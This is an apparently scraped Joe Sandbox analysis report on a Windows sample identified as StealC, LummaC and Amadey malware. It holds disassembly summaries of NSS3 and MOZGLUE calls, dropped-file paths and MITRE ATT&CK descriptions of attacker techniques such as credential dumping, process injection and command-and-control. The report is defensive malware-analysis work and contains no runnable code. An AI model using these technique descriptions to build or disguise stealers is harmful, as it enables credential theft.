CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]_l,6C5F6499,-00000078,00000000,?,?,]_l,?,6C5F5DEF,?), ref: 6C5FC821

Part of subcall function 6C5F1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5F1E0B
Part of subcall function 6C5F1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5F1E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]_l,?,6C5F5DEF,?,?,?), ref: 6C5FC857

Strings

]_l, xrefs: 6C5FC810

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]_l
API String ID: 221937774-907858045
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 635e6fa45c38361a2f0ac23cd6721a35256b149b906ceaf52abd0d8c71279464
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: AFF0A7B3A0011877EF1569656C04AFB3659DF81199F040031FE24D6641F722DD268BF5

Function 6C5E0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C5E0936,FFFFE8AE,?,6C5716B7,00000000,?,6C5E0936,00000000,?,6C57204A), ref: 6C5E0F1B

Part of subcall function 6C5E1370: GetSystemInfo.KERNEL32(?,?,?,?,6C5E0936,?,6C5E0F20,6C5E0936,FFFFE8AE,?,6C5716B7,00000000,?,6C5E0936,00000000), ref: 6C5E138F

PR_NewLogModule.NSS3(clock,6C5E0936,FFFFE8AE,?,6C5716B7,00000000,?,6C5E0936,00000000,?,6C57204A), ref: 6C5E0F25

Part of subcall function 6C5E1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C5E0936,00000001,00000040), ref: 6C5E1130
Part of subcall function 6C5E1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E0936,00000001,00000040), ref: 6C5E1142
Part of subcall function 6C5E1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E0936,00000001), ref: 6C5E1167

Strings

clock, xrefs: 6C5E0F20

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 0414676268a2589c9c7692cfa32c4281cd877c3d5031564993e06a17c2e453e2
Instruction ID: da924a08335f7e5368f1c9d7bd6d8bc079b9b98fa1d1855c9d8f26d48d066f17
Opcode Fuzzy Hash: 0414676268a2589c9c7692cfa32c4281cd877c3d5031564993e06a17c2e453e2
Instruction Fuzzy Hash: 44D02232A0020492C20023579C44B9BB6ACC7CB2BAF000836E00C01E014F2884DAD2A5

Function 6C650DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C650DF5
TlsGetValue.KERNEL32 ref: 6C650E2D
TlsGetValue.KERNEL32 ref: 6C650E58
TlsGetValue.KERNEL32 ref: 6C650E84

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: b2efd646cd2848c18c6a75c6ad3a526444035f0a099aa6a58a09941789384de9
Instruction ID: a3a02d001b6bdf3803109096cb4d8237183e8831ac86a393263f41c54e08cef5
Opcode Fuzzy Hash: b2efd646cd2848c18c6a75c6ad3a526444035f0a099aa6a58a09941789384de9
Instruction Fuzzy Hash: 893180B0B45391CBDB106F7889452A977B4BF4930DFB1467AD88887A11DF34C4A6CB85

Function 6C650F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C5F2AF5,?,?,?,?,?,6C5F0A1B,00000000), ref: 6C650F1A
malloc.MOZGLUE(00000001), ref: 6C650F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C650F42
TlsGetValue.KERNEL32 ref: 6C650F5B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 6bd615cca45649abfbe880a033cc6a63a31cad3cb05a5978f4af29cbd2133465
Instruction ID: b7c97d9b5b61796bc0dccb12408fa1f40fbabce7443be28528550853c2927881
Opcode Fuzzy Hash: 6bd615cca45649abfbe880a033cc6a63a31cad3cb05a5978f4af29cbd2133465
Instruction Fuzzy Hash: 1E01F0B1F0025057E7102B3E9E0459676ACEF8635DF514576DC4CC2A11DF31C855C6D6

Function 6C601EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C601ECE
free.MOZGLUE(?), ref: 6C601EDF
free.MOZGLUE(?), ref: 6C601EEF
free.MOZGLUE(?), ref: 6C601EF5

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0e14938ad8f4ae70f4ee45a1179f4997dc357651c6e151f817bafd8dc28988b2
Instruction ID: ef9ef6a5b0ceb0c1cf2c0deb2ce41b7cdb09addc881256a0a8e33744af8dcf14
Opcode Fuzzy Hash: 0e14938ad8f4ae70f4ee45a1179f4997dc357651c6e151f817bafd8dc28988b2
Instruction Fuzzy Hash: 24F0E9B17001016BEB00EB65DC45D6773ACFF4629DB040435EC1DD3A00E725F41587A5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGHJKJK

C:\ProgramData\AEGHJKJKKJDHIDHJKJDB

C:\ProgramData\EBGCGHID

C:\ProgramData\FBKKFBAEGDHJJJJKFBKF

C:\ProgramData\FIJJKECFCFBGDHIECAAFIIDAKK

C:\ProgramData\GCFIIEBKEGHJJJJJJDAAFHCGHC

C:\ProgramData\HDBGHIDGDGHCBGDGCBFI

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre